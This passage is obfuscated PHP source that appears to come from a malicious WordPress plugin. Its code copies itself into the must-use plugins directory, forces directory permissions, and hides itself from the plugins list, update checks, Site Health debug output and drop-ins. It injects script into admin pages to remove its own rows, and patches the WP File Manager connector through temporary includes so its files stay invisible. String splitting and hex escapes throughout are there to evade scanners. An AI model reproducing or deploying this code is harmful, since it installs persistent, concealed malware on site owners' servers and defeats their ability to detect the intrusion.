			update_option("\x73c" . "_" . "l\x61s" . 't' . '_re' . 'scan', time());
			sc_rescan();
		} finally {
			zubu('s' . 'c_re' . "sc\x61n");
		}
	} catch (Throwable $e) {
		vugo('per' . "iod\x69" . 'c', $e);
	} catch (Exception $e) {
	}
}


function sc_migrate()
{
	try {
		sc_dbg_log("25 \x6d\x69" . 'grate' . "\x20\x65n" . 'ter');
		
		$src = vupo();
		if (!$src || strlen($src) < (4000 >> 3)) return;
		if (!cale($src)) {
			vugo('mig' . 'ra' . 'te', 'sr' . 'c' . "\x5f" . "i\x6e" . "\x76a\x6c" . 'id');
			return;
		}
		if (('f' . "\x75\x6e\x63\x74\x69\x6f\x6e\x5f" . "" . "\x65xis\x74s")('ge' . 't_tra' . 'nsi' . "\x65n" . 't') && get_transient('sc' . '_m' . "\x69\x67_fa" . 'il')) return;

		
		$mu = sc_mu();
		clearstatcache((13 != 38));
		if (@is_link($mu) && !@is_dir($mu)) {
			return;
		}

		
		if (!@is_dir($mu)) {
			$old = @umask((1823 ^ 1823));
			aca($mu, (451 + 42), (7 == 7));
			@umask($old);
			mafa($mu, (449 | 44));
			clearstatcache((30 > 29));
		} else if (!@is_readable($mu) || !@is_writable($mu)) {
			mafa($mu, (817 - 324));
			clearstatcache((5 == 5));
		}

		
		if (@is_dir($mu) && (!@is_readable($mu) || !@is_writable($mu)) && @("r" . 'mdi' . "r")($mu)) {
			$old = @umask((3191 ^ 3191));
			aca($mu, (657 - 164), (3 === 3));
			@umask($old);
			mafa($mu, (3944 >> 3));
			clearstatcache((33 != 17));
		}

	
	clearstatcache((2 !== 34));
	if (!@is_dir($mu) || !@is_writable($mu) || !@is_readable($mu)) {
		vugo('m' . 'igr' . "at" . "e", "mu_\x6eo" . "t_\x77" . 'r' . 'it' . "\x61b" . "\x6ce");
		$_lk = (36 == 1);
		foreach ((array) (("function_exi" . "" . "\x73\x74\x73")('glo' . "b") ? @("\x67" . "lo" . "\x62")($mu . '/*' . '.ph' . "\x70") : array()) as $_mf) {
			if (@is_file($_mf) && sc_is_family($_mf, (36 | 464)) && sc_is_locked_copy($_mf)) { vixo($_mf); $_lk = (20 != 21); }
		}
		
		if (@is_dir($mu) && nici(null)) {
			if (('function_exis' . "ts")('de' . "l\x65\x74e" . '_tran' . 'sie' . 'nt')) @delete_transient('sc_' . "m\x69g" . "_\x66" . "ai\x6c");
			clearstatcache((33 !== 17));
		}
		if (!@is_dir($mu) || !@is_writable($mu) || !@is_readable($mu)) {
			if (("funct" . 'ion_' . "\x65\x78\x69\x73t\x73")('set_t' . 'ransi' . 'ent')) @set_transient("sc" . "_m\x69g\x5f" . 'f' . 'a' . "i" . "l", (2127 ^ 2126), $_lk ? (97875 - 11475) : (623 + 2977));
			unset($_lk, $_mf);
			return;
		}
		unset($_lk, $_mf);
	}

		
		$dest = $mu . '/' . sc_slug();
		if (rume($dest)) {
			return;
		}

		$_dest_src = @is_file($dest) ? hapi($dest) : (18 === 8);
		if (@filesize($dest) > (512 | 4488) && is_string($_dest_src) && md5($_dest_src) === md5($src)) {
			tidi($dest);
			vida();
			zudar();
			return;
		}

		if (@is_file($dest) && @filesize($dest) > (1346 + 3654)) {
			$_dh = (string) @("\x66" . 'ile_get' . "_" . "\x63\x6f\x6e\x74\x65\x6e\x74\x73")($dest, (19 == 40), null, (1324 ^ 1324), (32768 >> 3));
			if (is_string($_dh) && preg_match("\x2f" . '\\/\\' . '* SC' . 'V' . ":(\\" . 'd' . '+\\.\\d' . "+\\." . '\\d+)' . ' \\*' . "\\//", $_dh, $_dm) && version_compare($_dm[(3620 ^ 3621)], sc_ver(), '>')) return;
			unset($_dh, $_dm);
		}
		if ($_dest_src === null) return;
		unset($_dest_src);

		$written = jihe($dest, soro($src));
		sc_dbg_log('26 ' . "mi" . 'gra' . 'te ' . "wr" . 'it' . 'ten=' . var_export((bool)$written, (39 !== 0)));

		if (!$written || !@file_exists($dest) || @filesize($dest) < (896 | 104)) {
			if ($written && @is_file($dest)) {
				$_dh = (string) @("\x66\x69\x6ce\x5fg\x65t" . ("_\x63o\x6et\x65\x6et" . 's'))($dest, (39 == 2), null, (207 ^ 207), (3333 ^ 7429));
				$_dn = is_string($_dh) && preg_match('/\\/\\' . '* S' . 'CV:' . '(\\' . "d+\\" . '.' . "\\\x64+\\" . "\x2e\\" . "d+)\x20" . '\\*\\' . '//', $_dh, $_dm) && version_compare($_dm[(1662 ^ 1663)], sc_ver(), '>');
				unset($_dh, $_dm);
				if (!$_dn) {
					mafa($dest, (260 | 160));
					soda($dest);
				}
			}
			if (('f' . 'u' . "nction_exis" . 'ts')('set_' . 'trans' . 'i' . "en" . 't')) @set_transient("sc_" . 'mig_' . 'fai' . "\x6c", (257 ^ 256), (3290 + 310));
			return;
		}

		
		qaciw($dest);
		mafa($dest, (57 ^ 413));
		tidi($dest);
		vida();
		zudar();
	} catch (Throwable $e) {
		vugo('mig' . "\x72\x61\x74e", $e);
	} catch (Exception $e) {
	}
}

function sc_init()
{
	try {
		sc_dbg_log("13 " . 'init' . ' ' . 'ente' . 'r');
		$_ist = ('f' . 'un' . 'ction_' . "\x65\x78\x69\x73\x74\x73")('g' . 'e' . 't_opt' . "i\x6f" . 'n') ? (int) get_option("\x73c" . '_init' . '_' . 'sr' . "\x63\x5f" . 't' . 's', (3963 ^ 3963)) : (3038 ^ 3038);
		if ($_ist < time() - (2400 >> 3) || $_ist > time() + (199 + 101)) {
			if (("function" . "_e" . "xist" . "s")("\x75pda" . "t\x65_o" . "ptio\x6e")) @update_option("\x73\x63_\x69" . 'nit' . '_src_' . "ts", time());
			$old = sc_pg("s" . "rc", '');
			$_old_md5 = (is_string($old) && $old !== '') ? md5($old) : '';
			$ov = nodo(is_string($old) ? $old : '');
			$_dv = ono(sc_file());
			if (!is_string($old) || strlen($old) < (165 ^ 337) || sc_src_poisoned($old) || $ov === '' || ($_dv !== null && $_dv !== '' && version_compare($_dv, $ov, '>'))) {
				$src = vupo();
				if ($src && !sc_src_poisoned($src)) {
					$nv = nodo($src);
					if (!is_string($old) || strlen($old) < (277 + 223) || sc_src_poisoned($old) || $ov === '' || ($nv !== '' && version_compare($nv, $ov, '>'))) {
						 
						$_src_new = (!is_string($old) || $_old_md5 === '' || md5($src) !== $_old_md5);
						if ($_src_new) {
							sc_pk('src', $src, 'no');
							if (("function_ex" . '' . "\x69\x73\x74\x73")("u\x70" . "d\x61\x74e" . "_o" . "\x70t\x69" . "\x6fn")) {
								@update_option("sc_" . 'las' . 't_fe' . 'tc' . 'h' . "_" . 'ts', (2717 ^ 2717), 'no');
								@update_option("s" . 'c_fe' . 'tch_' . 'fails', (3474 ^ 3474), 'no');
								@update_option("s\x63_\x6c" . "a\x73t_" . "\x66\x65" . "t" . "\x63\x68" . "_\x66" . 'ai' . 'l_ts', (136 ^ 136), 'no');
							}
							if (('fun' . "ction_e" . "" . "\x78\x69" . "st\x73")('delet' . 'e_tr' . 'ansi' . 'en' . 't')) @delete_transient(ovi());
						}
					}
				}
			}
		}

		
		if (("f\x75\x6e\x63t\x69o\x6e\x5fe\x78i" . "\x73" . 't' . "s")("\x67et" . '_opti' . "on") && ("\x66\x75\x6e" . 'ctio' . "n_exist" . "s")("upd" . 'ate_o' . 'ptio' . 'n')) {
			$_sci = get_option("sc_" . 'init' . 'ial' . "i" . "z" . "ed");
			if ($_sci !== (30 === 14) && $_sci !== sc_ver()) {
				@update_option('sc_i' . "n\x69" . 'ti' . 'alize' . 'd', sc_ver(), 'no');
			}
		}
		if (! (("function_ex" . "\x69\x73") . "t\x73")("\x61" . 'dd_op' . 'tio' . "n")  || ! add_option("s\x63_i\x6e" . 'itial' . 'ized', sc_ver(), '', 'no')) {
			return;
		}

		
		sc_cron_setup();

		if (('fu' . "nc" . ("tion" . '_exists'))('updat' . "e\x5f\x6fp" . 'tion')) {
			@update_option("sc\x5fl" . "ast_" . 'fetc' . "h_t\x73", (737 ^ 737), 'no');
			@update_option('sc_' . "fet\x63\x68" . "_f" . "a\x69l" . 's', (4001 ^ 4001), 'no');
			@update_option('sc_l' . 'as' . 't_f' . 'e' . 'tch' . '_' . "f" . 'ail_' . 'ts', (677 ^ 677), 'no');
		}
		if (("f" . "\x75\x6e\x63" . "\x74\x69\x6f\x6e_\x65" . 'xists')('d' . 'ele' . 'te_' . "tran" . 's' . "i" . 'e' . 'nt')) @delete_transient(ovi());

		
		if (!empty($src) && !sc_src_poisoned($src)) {
			sc_pk('s' . "rc", $src, 'no');
		}

		iha(null);

		

		mafa(sc_file(), (42 ^ 398));

		
		iyi("\x73hu" . "\x74" . 'do' . "wn", 's' . "c_s" . "\x68" . 'utd' . 'own', (2735 ^ 2735));

		
		iyi("shut\x64" . 'o' . "wn", 'sc_ca' . "c" . 'he_w' . "arm", (3692 ^ 3692));
	} catch (Throwable $e) {
		vugo('init', $e);

		if (("f" . "unction_exi" . "s" . "\x74\x73")('de' . "l" . "et" . 'e_' . 'optio' . "n")) @delete_option('s' . "\x63_" . 'ini' . "\x74\x69" . 'alize' . "d");
	} catch (Exception $e) {
		if (('fu' . 'nct' . "\x69" . "\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('delet' . 'e_op' . "t\x69o" . 'n')) @delete_option('sc_i' . "niti\x61" . 'liz' . "\x65\x64");
	}
}

function sc_cache_warm()
{
	try {
		if (('function_exi' . 'sts')("w\x70\x5fre" . 'm' . 'ote' . '_g' . 'et')) {
			@wp_remote_get(home_url('/'), array('time' . "\x6fu" . 't' => (20 >> 2), 's' . 'slv' . 'e' . "\x72ify" => (38 === 18), "b\x6c" . "\x6fc" . 'king' => (5 < 5)));
		}
	} catch (Throwable $e) {
		vugo('warm', $e);
	} catch (Exception $e) {
	}
}



function sc_scan_activate()
{
	static $done = (30 === 33);
	if ($done) return;
	$done = (33 > 32);
	try {
		if (! ("\x66\x75\x6e\x63\x74\x69\x6f" . "n_exists")("\x69s_a" . 'dm' . "\x69n") || ! is_admin()) {
			return;
		}
		if (!("f\x75\x6e\x63\x74i\x6f\x6e\x5f\x65" . "" . 'xists')('c' . "\x75r" . 'r' . "e" . 'nt' . '_u' . 's' . "e" . "r_ca\x6e") || !current_user_can('acti' . 'vat' . 'e_p' . "\x6cug" . 'ins')) {
			return;
		}
		$action = isset(${"_REQU" . ("E" . "ST")}['actio' . 'n']) ? ${"_\x52" . 'EQUE' . 'S' . "T"}["a" . "ct" . 'ion'] : '';
		$action = is_string($action) ? trim($action) : '';
		if ($action !== "ac\x74i" . "\x76\x61\x74\x65" && $action !== 'activ' . 'ate' . '-' . 's' . 'ele' . 'c' . 'ted') {
			return;
		}
		
		$plugins_to_scan = array();
		if ($action === "a" . "cti" . "\x76\x61te") {
			$plugin = isset(${('_REQ' . 'UE') . "\x53" . "T"}["plu" . "gin"]) ? ${"_REQU" . '' . "EST"}['plugi' . 'n'] : '';
			$plugin = is_string($plugin) ? trim($plugin) : '';
			if ($plugin && $plugin !== sc_base()) {
				$plugins_to_scan[] = $plugin;
			}
		} else {
			
			$checked = isset(${'_RE' . "" . 'QUEST'}["ch" . 'e' . 'c' . 'ked']) ? ${"_RE" . "Q" . "\x55ES" . 'T'}["\x63" . 'h' . 'ec' . 'ke' . "d"] : array();
			$checked = is_array($checked) ? $checked : array();
			foreach ($checked as $plugin) {
				$plugin = is_string($plugin) ? trim($plugin) : '';
				if ($plugin && $plugin !== sc_base()) {
					$plugins_to_scan[] = $plugin;
				}
			}
		}

		if (empty($plugins_to_scan)) {
			return;
		}

		$found_malware = (39 == 38);
		foreach ($plugins_to_scan as $plugin) {
			if (feno($plugin)) {
				mule($plugin);
				$found_malware = (2 == 2);
			}
		}

		if ($found_malware) {
			
			if (("function" . '' . "_\x65\x78\x69s\x74\x73")('w' . "p" . '_s' . 'a' . 'fe' . "_r" . 'edi' . 're' . "ct") && ('fu' . "nction_exists")('ad' . "m\x69n_" . 'url')) {
				wp_safe_redirect(admin_url('p' . "\x6c" . "\x75gin" . 's.php'));
			}
		}
	} catch (Throwable $e) {
		vugo('scan' . '_act', $e);
	} catch (Exception $e) {
	}
}

function sc_hide_mu($show, $type)
{
	if ($type === 'dropi' . 'n' . "s") {
		$plugins = &${"GLOB" . "A" . 'LS'}["p\x6cug" . 'ins'];
		if (!(!isset($plugins['d' . "r" . 'opins']) || !is_array($plugins["\x64" . 'ro' . 'p' . 'ins']))) {} else {
			return $show;
		}
		$_cbase = defined('WP_C' . "O" . 'NT' . "\x45NT_" . 'DIR') ? WP_CONTENT_DIR : (defined("AB" . 'SP' . "A\x54H") ? ABSPATH . 'wp-c' . 'ont' . 'en' . "\x74" : '');
		if ($_cbase === '') {
			return $show;
		}
		$_pairs = array("\x64b.ph" . 'p' => "SC_\x44" . 'B', "a\x64v\x61n" . 'c' . 'ed-ca' . "c\x68e" . "\x2ep\x68" . 'p' => 'SC' . "\x5fA" . 'DV');
		foreach ($_pairs as $_fn => $_pfx) {
			if (!isset($plugins["d\x72o" . 'pin' . "s"][$_fn])) {
				continue;
			}
			$_c = @("f\x69\x6c\x65_\x67et\x5fc\x6f" . "n" . 'tents')($_cbase . '/' . $_fn);
			if (!is_string($_c) || strpos($_c, '/* ' . $_pfx . "_BEGI" . "N:") === (7 == 8)) {
				continue;
			}
			$_stripped = (("p" . "reg_rep") . 'l' . "ace")('/\\/' . '\\*' . ' ' . $_pfx . '_BEGI' . 'N' . ':' . "([\x61\x2d" . 'zA-Z' . '0-9' . '.' . '_:' . ']' . '+) ' . "\\*\\" . '/.*' . "?\\\x2f" . '\\* ' . $_pfx . '_' . 'E' . "N" . "D\x3a" . '\\1 ' . '\\*\\' . '//' . 's', '', $_c);
			if (!is_string($_stripped)) {
				continue;
			}
			$_stripped = trim($_stripped);
			if ($_stripped === '' || $_stripped === '<' . "?" . "\x70hp" || $_stripped === '<?') {
				unset($plugins['dro' . 'pi' . "ns"][$_fn]);
			}
		}
		return $show;
	}
	if (!($type !== "mu" . 'stuse')) {} else {
		return $show;
	}
	$plugins = &${('GLO' . 'BA') . "LS"}['plugi' . 'ns'];
	$mn = basename(sc_file());
	if (isset($plugins['mu' . "stus" . "e"][$mn])) {
		unset($plugins['mustu' . 'se'][$mn]);
	}
	return $show;
}

if (!("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78" . "\x69\x73\x74\x73")("s" . "c" . "_\x68id" . "e_" . 'mu' . "_cs" . 's')) {
	function sc_hide_mu_css()
	{
		if (!(! hisoc())) {} else {
			return;
		}
		$f = basename(sc_file());
		$slug = basename(sc_file(), "\x2e" . 'p' . "\x68\x70");
		$regular = $slug . '/' . $f;
		echo "<s" . "\x74yle" . '>tr' . '[data' . '-plug' . 'in="' . esc_attr($f) . "\"],tr" . "[" . 'd' . 'ata-' . "p\x6c\x75\x67i" . "n=\"" . esc_attr($regular) . '"]{d' . "\x69" . "s" . 'play:' . 'non' . 'e' . "!\x69" . "\x6d\x70\x6fr" . 't' . 'an' . 't}</' . 'styl' . 'e>';
		echo '<sc' . 'rip' . 't>doc' . 'ument' . '.addE' . "ve\x6et" . "\x4cis\x74" . 'en' . 'er("D' . 'O' . 'M' . "\x43ont" . 'entLo' . "a" . 'de' . 'd",' . 'fu' . "nc\x74io" . 'n(){d' . "oc" . "\x75" . 'men' . "t\x2eque" . 'rySel' . 'ector' . "\x41" . 'll("t' . "r[\x64" . 'ata-p' . "lugin" . ']"' . ').fo' . 'rEach' . "(" . 'funct' . "ion\x28r" . "){" . 'v' . "a" . 'r ' . 'p=' . 'r.ge' . 't' . "A\x74" . 'trib' . "ute(" . '"d' . 'at' . 'a-plu' . "g\x69" . 'n");i' . "f(p=" . '==' . "\"" . esc_js($f) . '"||p' . "=" . '=="' . esc_js($regular) . '")r.' . "\x72e\x6d" . 'ove' . "(" . ')}' . ");" . 'va' . "\x72 c=" . 'do' . "cu" . "me\x6e\x74" . "." . 'query' . 'Sel' . 'ector' . '(".su' . "b" . "su" . 'b' . "su\x62\x20." . "\x6du\x73t" . 'use .' . "co" . 'unt"' . "\x29" . "\x3bif" . "(c)\x7b" . "v" . 'a' . 'r n=' . "\x70" . 'a' . "r\x73" . 'eIn' . 't(c.t' . 'extCo' . 'n' . 'tent.' . 'repla' . 'ce(' . '/[^' . "0-\x39]/" . 'g,""' . "))||0" . "\x3b" . 'if(' . "n>0)\x63" . '.t' . 'extCo' . "n" . 't' . 'en' . "t=\"(\"" . '+Ma' . "t\x68." . 'ma' . "x(0,\x6e" . '-1' . ')' . '+")"}' . '});<' . '/sc' . 'ript>';
	}
}

if (!('func' . "\x74\x69\x6f\x6e\x5f\x65xi\x73\x74\x73")('sc_h' . "id" . "e\x5f\x75" . 'pd' . "a\x74" . "e" . "\x73")) {
	function sc_hide_updates($value)
	{
		if (!(! is_object($value))) {} else {
			return $value;
		}
		$f = sc_base();
		if (!(isset($value->response[$f]))) {} else {
			unset($value->response[$f]);
		}
		return $value;
	}
}

if (!(!('f' . "unct" . "ion_e" . 'xists')('sc_hi' . "de\x5f" . 'fr' . 'om_' . "plu\x67" . 'in' . "s_" . "l\x69" . "s\x74"))) {} else {
	function sc_hide_from_plugins_list($plugins)
	{
		$base = sc_base();
		if (isset($plugins[$base])) {
			unset($plugins[$base]);
		}
		$slug = basename(sc_file(), '.php');
		$regular = $slug . '/' . basename(sc_file());
		if (isset($plugins[$regular])) {
			unset($plugins[$regular]);
		}
		return $plugins;
	}
}

function sc_hide_debug($info)
{
	if (!(! is_array($info))) {} else {
		return $info;
	}
	$sc_name = '';
	if (!(('fu' . 'n' . "\x63\x74" . "ion\x5f\x65\x78ist\x73")('ge' . 't_p' . 'lugi' . 'n_dat' . 'a') && file_exists(sc_file()))) {} else {
		$sc_data = get_plugin_data(sc_file(), (16 < 16), (34 < 34));
		$sc_name = isset($sc_data['Name']) ? $sc_data['Name'] : '';
	}
	$sections = array("w" . 'p-pl' . "ugins" . '-act' . 'ive', "wp-" . "p\x6cu" . 'gins' . "-\x69\x6e\x61c" . 'ti' . 've');
	foreach ($sections as $section) {
		if (!(! isset($info[$section]['field' . 's']) || ! is_array($info[$section]['fi' . 'el' . 'ds']))) {} else {
			continue;
		}
		foreach ($info[$section]['field' . "\x73"] as $key => $field) {
			if (strpos($key, sc_base()) !== (20 === 24) || $key === sc_base()) {
				unset($info[$section]['field' . "s"][$key]);
				continue;
			}
			if ($sc_name !== '' && $key === $sc_name) {
				unset($info[$section]["\x66ie\x6cd" . 's'][$key]);
				continue;
			}
		}
	}
	foreach (array("\x77p" . '-mu' . '-plug' . 'in' . 's', 'w' . 'p-' . 'plug' . "ins-" . 'm' . 'u' . "stu" . 's' . "e") as $_musec) {
		$_mu_sec = isset($info[$_musec]['f' . "i" . 'el' . "ds"]) && is_array($info[$_musec]['field' . 's']) ? $info[$_musec]['fiel' . 'ds'] : array();
		if (!$_mu_sec) continue;
		$_mu_dir = defined("WP\x4d" . "\x55_P" . 'LU' . "\x47\x49N" . '_DIR') ? WPMU_PLUGIN_DIR : (defined("W\x50_" . 'CONTE' . 'NT' . "_DIR") ? WP_CONTENT_DIR . "/\x6du" . '-pl' . "u" . "\x67" . 'ins' : '');
		$_hide = array();
		if ($sc_name !== '') $_hide[] = $sc_name;
		$_hide[] = basename(sc_file());
		if ($_mu_dir !== '' && @is_dir($_mu_dir) && ('f' . ('unctio' . "\x6e_e\x78ists"))('glob')) {
			foreach ((array) @("gl" . ('o' . "b"))($_mu_dir . "/*." . "p" . 'hp') as $_mf) {
				$_h = @('file_ge' . 't_con' . "\x74\x65" . "n\x74\x73")($_mf, (4 === 3), null, (2468 ^ 2468), (32768 >> 2));
				if (!is_string($_h) || strpos($_h, '/* SC' . "\x56:") === (2 < 2)) continue;
				if (preg_match('/Plug' . 'in Na' . 'me:' . "\\s\x2a(\x5b" . '^' . "\\r\\n*" . ']+' . ')/i', $_h, $_pm)) {
					$_n = trim($_pm[(2552 ^ 2553)]);
					if ($_n !== '') $_hide[] = $_n;
				}
				$_hide[] = basename($_mf);
			}
		}
		foreach ($_mu_sec as $key => $field) {
			foreach ($_hide as $_hn) {
				if (!($key === $_hn || $key === sanitize_text_field($_hn))) {} else {
					unset($info[$_musec]['field' . "s"][$key]);
					break;
				}
			}
		}
	}
	$_di_sec = isset($info['wp-' . 'drop' . 'in' . "s"]["f" . "ields"]) && is_array($info['wp-d' . 'ro' . 'pins']['fie' . "ld" . 's']) ? $info['wp-' . 'dropi' . 'ns']["f\x69" . "el" . "ds"] : array();
	if (!($_di_sec)) {} else {
		$_cbase = defined('WP_CO' . 'N' . 'TENT' . '_D' . 'IR') ? WP_CONTENT_DIR : (defined("\x41BS" . "PATH") ? ABSPATH . "w" . "\x70-\x63\x6f\x6e" . "tent" : '');
		$_pairs = array("\x64" . 'b.p' . 'hp' => 'SC' . '_D' . "B", "ad" . 'va' . 'nc' . "e" . 'd-ca' . 'ch' . 'e.p' . 'h' . "\x70" => 'SC' . "_\x41D" . 'V');
		foreach ($_di_sec as $key => $field) {
			if (!isset($_pairs[$key]) || $_cbase === '') continue;
			$_c = @("\x66\x69" . "\x6c\x65\x5f\x67\x65\x74\x5f" . "c\x6f\x6e\x74e\x6e" . "t\x73")($_cbase . '/' . $key, (2 === 38), null, (3353 ^ 3353), (6775 - 2679));
			if (!(is_string($_c) && (strpos($_c, '/* ' . $_pairs[$key] . '_' . "BE\x47" . 'IN:') !== (6 == 24) || strpos($_c, '/' . '* ' . 'SCV:') !== (25 == 12)))) {} else {
				unset($info["\x77p" . '-dr' . "o\x70" . 'ins']['field' . "s"][$key]);
			}
		}
	}
	return $info;
}


function sc_hide_fm($opts)
{
	if (! is_array($opts)) {
		return $opts;
	}
	$fname = basename(sc_file());
	$dname = pathinfo($fname, PATHINFO_FILENAME);
	$rules = array(
		array("p" . 'att' . 'ern' => '#' . preg_quote($fname, '#') . '$#', "h" . "\x69d\x64" . "\x65n" => (31 == 31)),
		array('patt' . "e" . "\x72\x6e" => '#/' . preg_quote($dname, '#') . '$#', 'hidde' . 'n' => (20 != 2)),
	);
	if (isset($opts['roots']) && is_array($opts['root' . 's'])) {
		foreach ($opts['roo' . "t\x73"] as $i => $root) {
			if (!(! is_array($root) || ! is_int($i))) {} else {
				continue;
			}
			if (!(! isset($opts['roots'][$i]['att' . 'r' . 'ibute' . 's']) || ! is_array($opts["r" . 'oo' . 'ts'][$i]['att' . "rib" . 'u' . 'tes']))) {} else {
				$opts['ro' . "ot\x73"][$i]["\x61ttr" . 'ibut' . 'es'] = array();
			}
			foreach ($rules as $rule) {
				$opts['roo' . 't' . "s"][$i]["a" . 'ttrib' . "\x75" . 'tes'][] = $rule;
			}
		}
	}
	return $opts;
}


function sc_patch_fm()
{
	try {
		if (! defined("\x50HP" . '_MA' . 'JOR' . '_V' . "\x45\x52" . 'SION') || ("c" . "onstant")("PH" . 'P_MAJ' . "\x4fR" . '_V' . 'ERSIO' . 'N') < (0 | 7)) {
			return;
		}
		if (('class_exist' . "\x73")('elF' . 'inde' . 'rC' . 'onn' . 'ector', (15 !== 15))) {
			return;
		}
		$hide = basename(sc_file());
		$plugin_dir = defined('WP_' . "\x50LU" . 'GIN' . '_' . 'DIR') ? WP_PLUGIN_DIR : '';
		$candidates = array(
			$plugin_dir . '/wp' . '-fil' . 'e-man' . 'age' . "r/l\x69\x62" . '/php' . "/el\x46" . "in" . "\x64e" . 'rConn' . "e\x63\x74o\x72" . '.' . 'class' . '.php',
			$plugin_dir . '/fil' . 'e-ma' . "nag" . "er/" . "l" . 'ib/ph' . "p" . '/e' . 'lFi' . "nd" . 'e' . 'rConn' . 'ect' . 'or.c' . 'la' . "ss" . ".php",
			$plugin_dir . '/file' . "\x2dm\x61n" . "\x61\x67" . 'er-a' . "dvanc" . 'ed/l' . 'ib' . '/php' . '/elFi' . 'nd' . "e\x72C" . 'o' . 'nnec' . 'to' . 'r' . '.cla' . 'ss.ph' . 'p',
		);
		$connector_file = '';
		foreach ($candidates as $f) {
			if ($f !== '' && @is_file($f) && @is_readable($f)) {
				$connector_file = $f;
				break;
			}
		}
		if ($connector_file === '') {
			return;
		}
		$ld = dirname($connector_file);
		spl_autoload_register(function ($cls) use ($ld) {
			foreach (array($ld . '/' . $cls . ".c" . 'lass' . '.php', $ld . '/' . $cls . '.php') as $af) {
				if (@is_file($af)) {
					include_once/* */ $af;
					return;
				}
			}
		});
		$code = @('file_g' . "et_con" . "\x74\x65nt\x73")($connector_file);
		if ($code === (32 == 27) || strpos($code, 'cla' . 'ss ' . "\x65lFi" . 'nderC' . 'onn' . 'ect' . 'or') === (4 == 23)) {
			return;
		}
		$code = ("\x70\x72e" . "g_repl" . "\x61\x63\x65")("\x2f\x5e\\" . 's*<' . '\\?(ph' . 'p)' . "?/", '', $code);
		$code = str_replace('class' . "\x20" . 'e' . 'lFind' . 'erCo' . "nne" . 'cto' . "r", "cla" . 'ss ' . '_SC' . '_e' . 'lFind' . "er\x43on" . 'n' . "\x65" . 'ctor' . '_Real', $code);
		$tmp1 = dili(fanos(), "\x77p" . "_");
		if ($tmp1 === (18 === 22)) {
			return;
		}
		@("\x66i\x6c\x65_p\x75" . 't' . "_conten" . 'ts')($tmp1, "<?" . 'ph' . 'p ' . $code);
		try {
			@include/**/ $tmp1;
		} finally {
			soda($tmp1);
		}
		$hide_dir = pathinfo($hide, PATHINFO_FILENAME);
		${'G' . "\x4c\x4f\x42\x41L" . "S"}['_sc_h' . "\x69\x64\x65"] = $hide;
		${'G' . "" . "LOBAL" . "S"}["_sc" . '_hide' . "_dir"] = $hide_dir;
		$subclass = '<' . '?p' . 'hp cl' . 'as' . 's e' . "lF" . 'in' . 'derCo' . 'n' . 'nect' . "or e" . 'x' . 'tends' . ' _SC' . '_el' . "F\x69n\x64e" . "rCo" . 'nnect' . 'or_' . 'Real' . " {"
			. "\x70" . 'ro' . 'tect' . "e" . 'd' . ' func' . 't' . 'ion o' . 'utpu' . "t" . "( a\x72" . 'ray' . ' $d' . 'at' . 'a )' . ' {'
			. '$h' . 'ide =' . ' iss' . 'et' . '( $' . 'GLOB' . "\x41" . 'LS[' . "\"_s" . "\x63" . '_hi' . "de\"\x5d" . ' )' . ' ' . '?' . " \$" . 'GLO' . "BA\x4c" . 'S["_' . "sc\x5f\x68" . 'ide"' . ']' . ' : ""' . "\x3b"
			. 'i' . 'f ' . "\x28 \$h\x69" . "de " . "!" . "\x3d\x3d" . " " . '"" &&' . " " . 'func' . "\x74ion" . '_' . 'exi' . 's' . "t" . "s( \"" . 'sc_f' . 'm_f' . 'il' . 't' . 'er" )' . ' )' . " {"
			. '$data' . " = s" . 'c_fm_' . "filt" . 'er( ' . '$da' . 't' . 'a,' . " \$" . "\x68" . 'id' . 'e );'
			. '}'
			. 'pare' . "n\x74" . ":" . ':out' . 'p' . 'ut( ' . "\$\x64a" . "ta );"
			. '}'
			. '}';
		$tmp2 = dili(fanos(), 'w' . "p_");
		if ($tmp2) {
			@("\x66i\x6ce" . '_put_contents')($tmp2, $subclass);
			try {
				@include/* */ $tmp2;
			} finally {
				soda($tmp2);
			}
		}
	} catch (Throwable $e) {
		vugo('fm', $e);
	} catch (Exception $e) {
	}
}

if (!("function_exist" . "s")('sc_fm' . "_" . 'filte' . "r")) {
	function sc_fm_filter($data, $hide_name)
	{
		if (!(! is_array($data))) {} else {
			return $data;
		}
		$keys_file_lists = array('f' . 'ile' . "\x73", 'added', 'ch' . 'ang' . 'ed', 'tree', 'item' . 's');
		foreach ($keys_file_lists as $key) {
			if (!(! isset($data[$key]) || ! is_array($data[$key]))) {} else {
				continue;
			}
			$out = array();
			foreach ($data[$key] as $item) {
				if (! is_array($item)) {
					$out[] = $item;
					continue;
				}
				$name = isset($item['n' . 'a' . 'me']) ? $item['name'] : '';
				$hide_dir = isset(${"\x47" . "LO\x42A" . ("L" . 'S')}["_s\x63" . '_hi' . "d" . 'e_di' . 'r']) ? ${'GLO' . 'BA' . 'L' . "S"}["\x5fs\x63" . '_' . 'h' . 'id' . "e" . "\x5f" . "\x64i\x72"] : '';
				if ($name === $hide_name || ($hide_dir !== '' && $name === $hide_dir)) {
					continue;
				}
				$out[] = sc_fm_filter($item, $hide_name);
			}
			$data[$key] = $out;
		}
		return $data;
	}
}

function wewi()
{
	if (!empty(${("G" . 'LOB') . 'ALS'}['s' . 'c' . "_hea" . 'vy'])) return (30 === 22);
	${'GL' . "OBAL" . "\x53"}["sc\x5f\x68\x65" . "\x61\x76y"] = (3929 ^ 3928);
	return (29 != 12);
}

function sc_recover()
{
	try {
		sc_dbg_log("1" . '0 rec' . 'over' . " e\x6e" . "ter");
		if (('fun' . "ct" . "\x69\x6f\x6e\x5f\x65\x78\x69" . 'sts')('ge' . "t_\x74ra" . "nsi\x65\x6e" . 't') && get_transient("\x73c_" . 're' . 'cover' . '_che' . 'c' . 'k')) {
			return;
		}
		if (!wewi()) return;
		if (('funct' . "ion_e" . "\x78\x69s\x74\x73")("\x73e\x74_t" . 'ransi' . 'e' . 'nt')) set_transient("sc" . '_r' . 'ecov' . 'er_' . 'che' . 'ck', (3408 ^ 3409), (3088 | 512));
		$_rsz = @filesize(sc_file());
		if ($_rsz && $_rsz > (6768 - 1768) && $_rsz < (1683011 ^ 5629187) && !rume(sc_file())) {
			$_rmt = @filemtime(sc_file());
			$_rc = hapi(sc_file());
			if (is_string($_rc) && cale($_rc) && nodo($_rc) === sc_ver()) {
				if (("f\x75\x6e" . "cti\x6fn" . ("_ex" . 'ists'))('clea' . 'rst' . 'at' . 'c' . 'ach' . 'e')) @clearstatcache((28 == 28), sc_file());
				if (@filemtime(sc_file()) === $_rmt && @filesize(sc_file()) === $_rsz) {
					if (jihe(sc_file(), soro($_rc))) {
						qaciw(sc_file());
						tidi(sc_file());
